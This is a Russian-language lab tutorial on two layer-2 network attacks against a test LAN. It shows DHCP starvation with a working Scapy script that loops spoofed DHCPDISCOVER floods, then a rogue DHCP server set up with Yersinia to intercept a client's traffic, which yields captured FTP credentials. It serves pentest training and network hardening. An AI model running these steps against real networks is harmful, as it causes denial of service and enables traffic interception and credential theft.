June 2, 2022

Истощение и подмена DHCP-сервера

#Обучение

При атаке на каналь­ном уров­не, можно переп­рыгнуть через все средс­тва защиты, нас­тро­енные на более высоких уров­нях. В данной статье мы с вами рассмотрим два вектора атак на этот самый низ­кий уро­вень сети — истощение (DHCP Starvation) и подмена DHCP-сервера (DHCP Spoofing).

Для понимания этого материала нужно иметь бэкграунд знаний компьютерных сетей, в частности знать как работает коммутация и маршрутизация.

DHCP Starvation

Эта ата­ка осно­вана на про­веде­нии рас­сылок огромно­го количес­тва сооб­щений DHCPDISCOVER с целью исто­щить адресное прос­транс­тво на сер­вере DHCP. Сер­вер DHCP будет реаги­ровать на каж­дый зап­рос и выдавать IP-адрес. Пос­ле перепол­нения допус­тимого адресно­го прос­транс­тва сер­вер DHCP боль­ше не смо­жет обслу­живать новых кли­ентов в сво­ей сети, выдавая им IP-адре­са.

DHCP Starvation Attack

Про­тес­тиру­ем эту ата­ку на неболь­шой локаль­ной сети. DHCP-сер­вер уже нас­тро­ен на мар­шру­тиза­торе GW. Под­сеть — 10.1.1.0/24.

Полигон для проведения атаки на DHCP

С помощью Scapy вызовем рас­сылку фей­ковых DHCPDISCOVER. В качес­тве MAC-адре­са наз­начения и IP-адре­са наз­начения выс­тупят адре­са широко­веща­тель­ной рас­сылки.

Добавим слой про­токо­ла UDP, пос­коль­ку про­токол DHCP исполь­зует его. В шаб­лоне options ука­жем, что мы будем рас­сылать пакеты DHCP типа DISCOVER

И в кон­це зацик­лим бес­конеч­ную отправ­ку генери­руемых фрей­мов.

 >>> malicious_dhcp_discover = Ether(src=RandMAC(), dst="FF:FF:FF:FF:FF:FF")
 >>> malicious_dhcp_discover /= IP(src="0.0.0.0",dst="255.255.255.255")
 >>> malicious_dhcp_discover /= UDP(sport=68, dport=67)
 >>> malicious_dhcp_discover /= BOOTP(op=1, chaddr = RandMAC())
 >>> malicious_dhcp_discover /= DHCP(options=[('message-type', 'discover'),('end')])
 >>> sendp(malicious_dhcp_discover, iface="eth0", loop=1, verbose=1)
Дамп трафика во время DHCP Starvation
Пе­репол­няющееся адресное прос­транс­тво DHCP-сер­вера. Часть 1
Пе­репол­няющееся адресное прос­транс­тво DHCP-сер­вера. Часть 2

Сер­вер DHCP выведен из строя, теперь мож­но прис­тупить к соз­данию его лож­ного ана­лога.

DHCP Spoofing

Пос­ле вывода из строя легитим­ного DHCP-сер­вера зло­умыш­ленник может под­нять на сво­ей сто­роне фей­ковый DHCP-сер­вер, заявив, что имен­но он и явля­ется шлю­зом по умол­чанию. Ког­да DHCP-сер­вер выда­ет IP-адре­са хос­там в сети, там переда­ется и информа­ция об IP-адре­се шлю­за по умол­чанию.

Поэто­му, нас­тра­ивая такой DHCP-сер­вер, в качес­тве default gateway ука­жем наш IP-адрес. Пос­ле того как кли­ент получит адрес, сде­лав зап­рос к нам, на его сто­роне мы будем шлю­зом по умол­чанию и он будет нап­равлять свои пакеты нам. Это соз­дает иде­аль­ные усло­вия для про­веде­ния атак типа MITM.

Вос­поль­зуем­ся Yersinia, что­бы под­нять лож­ный сер­вер DHCP.

Соз­дание лож­ного DHCP-сер­вера
Кон­фигура­ция лож­ного DHCP-сер­вера

Те­перь на машине с Windows 10 с помощью двух команд вызовем обновле­ние IP-адре­са, то есть поп­робу­ем получить адрес из соз­данно­го нами лож­ного сер­вера DHCP:

 C:\Windows\system32> ipconfig /release
 C:\Windows\system32> ipconfig /renew
Кли­ент получил адрес по DHCP

Как видим, кли­ент получил IP-адрес и информа­цию о шлю­зе по умол­чанию. Теперь мож­но попытать­ся перех­ватить тра­фик, пос­коль­ку весь тра­фик кли­ента будет идти к нам.

Пе­рек­лючим наш интерфейс в нераз­борчи­вый режим и раз­решим фор­вардинг тра­фика на интерфей­се:

 c0ldheim@PWN:~$ sudo ifconfig eth0 promisc
 c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1

В ито­ге нам уда­лось перех­ватить незашиф­рован­ный FTP-тра­фик с кре­дами nightmare:nightmare.

Перехват учетных данных для сервера FTP

Заключение

Исхо­дя из лич­ного опы­та пен­тестов, могу ска­зать, что про­токо­лы уров­ня L2 очень час­то оста­ются без дол­жно­го вни­мания и в боль­шинс­тве слу­чаев работа­ют с кон­фигура­цией по умол­чанию. Этим, как вы видите, может вос­поль­зовать­ся хакер.

Ата­ки L2 в пос­леднее вре­мя утра­тили акту­аль­ность и нем­ного выш­ли из моды: сей­час мало кто обра­щает на них вни­мание. Воз­можно, эта статья подарит пен­тесте­рам новые вари­анты атак, а сетевые инже­неры пос­ле проч­тения смо­гут повысить уро­вень защищен­ности сво­их сетей.

Источник